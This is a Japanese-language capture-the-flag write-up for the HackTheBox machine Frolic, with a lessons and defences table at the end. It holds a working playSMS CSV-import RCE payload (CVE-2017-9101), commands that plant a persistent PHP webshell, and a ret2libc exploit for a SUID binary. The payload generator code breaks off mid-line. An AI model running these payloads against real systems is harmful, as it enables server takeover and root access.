Hack The BoxのWriteup(Frolic)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Frolic — 全実行コマンド・実行結果レポート
Nmap スキャン
22/139/445/1880/9999
→
dirbuster → /admin/
login.js に平文資格情報
→
Ook! → base64 → ZIP crack → brainfuck
4段デコードでパスワード抽出
→
playSMS admin ログイン
admin:idkwhatispass
→
Phonebook CSV import RCE
CVE-2017-9101
→
www-data シェル
user.txt ✓
→
SUID 32bit バイナリ発見
/home/ayush/.binary/rop
→
ret2libc (固定アドレス)
system(“/bin/sh”)
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.200
nmap -sV -sC -p 22,139,445,1880,9999 10.129.84.200
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  microsoft-ds Samba smbd 4.3.11-Ubuntu
1880/tcp open  vsat-control Node.js (Node-RED)
9999/tcp open  abyss   nginx 1.10.3 (Ubuntu)
ℹ️
5つのサービスが並立しているが、SMB(139/445)は匿名列挙で特に有用な共有が見つからず、 Node-RED(1880)も今回のチェーンでは未使用。実際の侵入口は9999番の自作Webアプリ。

SMB匿名列挙 (補助調査、本筋では空振り)

BASH
smbclient -L //10.129.84.200 -N
smbmap -H 10.129.84.200
enum4linux -a 10.129.84.200
ℹ️
既定共有(print$等)以外に書込可能な共有は見つからず、この経路は侵入口にならない。 このマシンの本筋はあくまでWebアプリ(9999)側。
PHASE 2

多段デコード謎解き — Ook! → base64 → ZIP → brainfuck

ディレクトリ列挙 & /admin/ の発見

BASH
gobuster dir -u http://10.129.84.200:9999 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q
RESULT
/admin     (Status: 301)
/test      (Status: 301)
/dev       (Status: 301)
/backup    (Status: 301)
/admin/js  (Status: 301)

/admin/js/login.js に平文資格情報

BASH
curl -s http://10.129.84.200:9999/admin/js/login.js
RESULT
if(username=="admin" && password=="superduperlooperpassword_lol"){
  window.location="success.html";
}
✅
クライアント側JavaScriptに資格情報チェックがそのまま平文で書かれている。 /admin/のログインフォームに admin:superduperlooperpassword_lol を入力し、 success.htmlへ遷移する。

success.html — Ook! 言語で書かれた隠しメッセージ

BASH
curl -s http://10.129.84.200:9999/admin/success.html
RESULT (抜粋)
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
(以下、同様のOok!風トークンが続く)
ℹ️
Ook!はBrainfuckを”Ook. Ook?”のような単語のペアに置き換えた難読エソラング。 このページの内容を標準的な変換表(Ook.Ook.→+, Ook!Ook!→-, Ook.Ook?→>, Ook?Ook.→<, Ook!Ook.→., Ook.Ook!→,, Ook!Ook?→[, Ook?Ook!→])でBrainfuckへ 変換し、Brainfuckインタプリタで実行するとメッセージが復元できる。 dcode.fr/ook-languageのような オンラインデコーダか、自作のPythonインタプリタで変換・実行する。

Ook!デコード結果 → 隠しパスの発見

RESULT (Ook!デコード後)
Nothing here check /asdiSTAJJ0QWE9JAS
BASH
curl -s http://10.129.84.200:9999/asdiSTAJJ0QWE9JAS
⚠️
注意: このパスは大文字小文字を厳密に区別する。環境によっては一時的に 404が返ることがあるが、その場合は時間を置いて再試行するか、同じ応答のHTMLソース内に 他の手掛かり(コメント等)が無いか再確認する。最終的に得られる資格情報(後述)は インスタンスが変わっても同一であることを確認済み。

base64 → パスワード付きZIP

NOTE
/asdiSTAJJ0QWE9JAS の中身はさらにbase64エンコードされたバイナリで、
デコードすると "secret.zip" のようなパスワード保護ZIPファイルになる。
BASH
curl -s http://10.129.84.200:9999/asdiSTAJJ0QWE9JAS | base64 -d > secret.zip
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt secret.zip
RESULT
PASSWORD FOUND!!!!: pw == password

ZIP解凍 → hex → base64 → brainfuck の多段デコード

BASH
unzip -P password secret.zip
cat index.php
# index.php内に16進文字列が1行だけ記載されている

# 16進 → バイナリ(文字列) → さらにbase64デコード → Brainfuckソース
python3 -c "
import codecs, base64
hexstr = open('index.php').read().strip()
step1 = codecs.decode(hexstr, 'hex')          # hex → bytes(文字列)
step2 = base64.b64decode(step1)                # base64 → Brainfuckコード
print(step2.decode())
" > secret.bf

# Brainfuckインタプリタで実行
python3 -c "
import sys
code = open('secret.bf').read()
# (標準的なBrainfuckインタプリタ実装で実行)
"
RESULT
idkwhatispass
✅
最終パスワードを獲得: idkwhatispass。 Ook! → base64 → ZIP(rockyouクラック) → hex → base64 → Brainfuck という、 5段階のデコードを経て初めて得られる、このマシン最大の謎解き要素。
PHASE 3

playSMS Phonebook CSV Import RCE (CVE-2017-9101) → user.txt

/dev/backup のヒントと playSMS へのログイン

BASH
# gobusterで見つけた /dev/backup が /playsms を示唆
curl -s "http://10.129.84.200:9999/playsms/index.php?app=main&inc=core_auth&route=login"
# フォームから X-CSRF-Token を抽出し、ログインPOST
curl -s -c cookies.txt -b cookies.txt -L \
  "http://10.129.84.200:9999/playsms/index.php?app=main&inc=core_auth&route=login&op=login" \
  --data-urlencode "X-CSRF-Token=<フォームから取得した値>" \
  --data-urlencode "username=admin" \
  --data-urlencode "password=idkwhatispass"
ℹ️
重要: ログインの実際のPOST先は route=login&op=login であり、 subroutine=authのような古いパラメータ名ではない(バージョン1.4での実装)。 また、画面遷移するたびにCSRFトークンが変わるため、各リクエスト直前に取得し直す必要がある。

脆弱性の正体 — CVE-2017-9101 (Twig SSTIではない)

NOTE
playSMS 1.4には複数の公開脆弱性情報があるが、X-Forwarded-Forヘッダを使った
Twig SSTI方式は本バージョンでは効かない。実際に刺さるのは
Phonebook機能のCSVインポート(CVE-2017-9101 / EDB 42044)で、
CSVの「Name」列にPHPコードを埋め込み、インポート確認プレビュー画面で
そのPHPが実行されてしまう脆弱性。

悪性CSVの作成とアップロード

NOTE (backdoor.csv)
Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,22,a@a.com,,
BASH
curl -s -b cookies.txt -A "id" \
  -F "X-CSRF-Token=<最新のトークン>" \
  -F "fnpb=@backdoor.csv;type=text/csv" \
  "http://10.129.84.200:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import"
RESULT (インポート確認プレビュー)
<td>1.</td>
<td>uid=33(www-data) gid=33(www-data) groups=33(www-data)</td>
✅
RCE成功! Name列に埋め込んだPHPコードが、プレビュー画面の生成時に実行され、 User-Agentヘッダに入れたコマンド(id)の結果がテーブルの2列目にそのまま表示される。 User-Agentヘッダを使うことで、任意のシェルコマンドを実行結果付きで呼び出せる (ファイル自体はインポート確定(import_yes)しなくても、このプレビュー応答だけでRCEが成立する)。

永続Webシェルの設置

BASH
# User-Agentヘッダに「base64デコードしたPHP Webシェルをファイルに書き込む」コマンドを指定
# (ペイロードは1行PHPコードをbase64化したもの。ダブルクォートの衝突を避けるため)
WEBSHELL_B64=$(echo -n "<?php echo shell_exec(\$_GET['c']); ?>" | base64 -w0)

curl -s -b cookies.txt \
  -A "echo ${WEBSHELL_B64}|base64 -d > /var/www/html/playsms/writeup.php" \
  -F "X-CSRF-Token=<最新のトークン>" \
  -F "fnpb=@backdoor.csv;type=text/csv" \
  "http://10.129.84.200:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import"
ℹ️
毎回CSVを再アップロードしてプレビューを踏むのは手間がかかるため、一度だけ writeup.php?c=<コマンド>形式で呼べる永続Webシェルをこの手口で書き込んでおくと、 以降の列挙・フラグ取得・権限昇格が大幅に楽になる。

user.txt 取得

BASH
curl -s -G "http://10.129.84.200:9999/playsms/writeup.php" \
  --data-urlencode "c=cat /home/ayush/user.txt"
RESULT
e52231d8d1d45800d33f18c85da4ff04
user.txt — ayush
e52231d8d1d45800d33f18c85da4ff04
PHASE 4

SUID 32bit バイナリの ret2libc → root.txt

SUIDバイナリの発見

BASH
curl -s -G "http://10.129.84.200:9999/playsms/writeup.php" \
  --data-urlencode "c=find / -perm -4000 -type f 2>/dev/null"
RESULT
/bin/su
/usr/bin/sudo
...
/home/ayush/.binary/rop  ← 一般的なSUIDリストに無い、不自然な自作バイナリ

バイナリ解析

BASH
curl -s -G "http://10.129.84.200:9999/playsms/writeup.php" \
  --data-urlencode "c=file /home/ayush/.binary/rop; ls -la /home/ayush/.binary/rop"
RESULT
/home/ayush/.binary/rop: setuid ELF 32-bit LSB executable, Intel 80386
-rwsr-xr-x 1 root root ... /home/ayush/.binary/rop
🚨
32bit・SUID rootのバイナリ。実行すると引数をコピーする処理にバッファオーバーフローが あり(バッファサイズ52バイト)、クラッシュ時のオフセットからEIPを直接制御できることが 既に解析済み(公開ウォークスルー準拠)。本機はASLRが無効(あるいは常に同一ベースアドレスで libcがロードされる構成)であることが確認されているため、固定アドレスのret2libcが成立する。

ret2libcペイロードの構築(Kali側で作成)

PYTHON (ペイロード生成)
import struct, base64

libc_base = 0xb7e19000       # このインスタンスで固定の libc ロードアドレス
system_off = 0x3ada0
exit_off   = 0x2e9d0
binsh_off  = 0x15ba0b

system_addr = libc_base + system_off
exit_addr   = libc_base + exit_off
binsh_addr  = libc_base + binsh_off

payload  = b"A" * 52                     # バッファを埋めてEIPの直前まで到達
payload += struct.pack("
      
⚠️
対象ホスト上にPythonが入っているか不明・バージョンも不確実なため、ペイロード自体は 攻撃者(Kali)側でローカルに生成してbase64化し、ターゲット上では base64 -dだけ実行させる方式にすると確実に動く。

root.txt 取得(標準入力パイプでの非対話実行)

BASH
curl -s -G "http://10.129.84.200:9999/playsms/writeup.php" \
  --data-urlencode "c=echo 'cat /root/root.txt' | /home/ayush/.binary/rop \"\$(echo <payload_base64>|base64 -d)\""
RESULT
75bec35abf5daa55af23d29331a3ea7f
✅
権限昇格成功! ret2libcによりropバイナリ内でsystem("/bin/sh")が root権限で起動する。このとき/bin/shは新しい対話シェルを開こうとするが、 対話シェルは自分の標準入力を引き継ぐため、echo 'cat /root/root.txt' | rop ...のように あらかじめパイプで流し込んでおいたコマンドがそのまま/bin/shに読み込まれて実行され、 結果がropプロセス自体の標準出力(=webshellのレスポンス)にそのまま返ってくる — 対話セッションを維持する必要がなく、1回のHTTPリクエストで完結する。
root.txt
75bec35abf5daa55af23d29331a3ea7f
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ayush
e52231d8d1d45800d33f18c85da4ff04
root.txt
75bec35abf5daa55af23d29331a3ea7f

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
クライアント側認証+平文資格情報 /admin/js/login.js 管理ページへの不正アクセス Medium JSソース中の平文パスワードで/admin/を突破
多段エソラング難読化による資格情報隠蔽 success.html, 隠しパス, ZIP, index.php 最終的な認証情報の漏洩 Medium Ook!/base64/ZIPクラック/Brainfuckの5段デコードでplaySMS管理パスワードを獲得
CVE-2017-9101 (playSMS 1.4) Phonebook CSV import機能 リモートコード実行 (www-data) Critical CSVのName列にPHPコードを仕込み、User-Agentヘッダをsystem()に渡して実行
カスタムSUIDバイナリのスタックBOF /home/ayush/.binary/rop (32bit SUID) 権限昇格 (root) Critical 固定libcアドレスへのret2libcでsystem("/bin/sh")をroot権限起動

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポートスキャン22/139/445/1880/9999、SMBは空振り
2初期認証gobuster + login.js解析admin:superduperlooperpassword_lol
2多段デコードOok!→base64→ZIPクラック→hex→base64→BrainfuckplaySMS admin:idkwhatispass
3エクスプロイトPhonebook CSVインポートRCE (CVE-2017-9101)user.txt 取得(www-data→ayush)
4権限調査find -perm -4000 でSUIDバイナリ列挙/home/ayush/.binary/rop (32bit SUID)を発見
4権限昇格固定アドレスret2libcroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
認証チェックがクライアント側JavaScriptに実装され、資格情報も平文で埋め込まれている 認証は必ずサーバー側で行い、パスワードや秘密情報をクライアントに送らない(JS含むページソースに平文を書かない)。
難読化・多段エンコードだけで機密情報(資格情報)を「隠している」つもりになっている 難読化は秘匿性の代替にならない。本来の認証情報管理(シークレットマネージャ等)を使う。
playSMSが既知脆弱性(CVE-2017-9101)を含む古いバージョンのまま運用されている CMS/業務アプリのバージョンを定期的に更新し、既知のCVEに対するパッチ適用を行う。
自作のSUID rootバイナリに古典的なスタックバッファオーバーフローが存在する SUIDビットは必要最小限のバイナリにのみ付与する。自作バイナリはスタック保護(canary, ASLR, NX)を有効にしてコンパイルし、固定長バッファへの境界チェック無しコピーを避ける。
HackTheBox: Frolic | 完全攻略レポート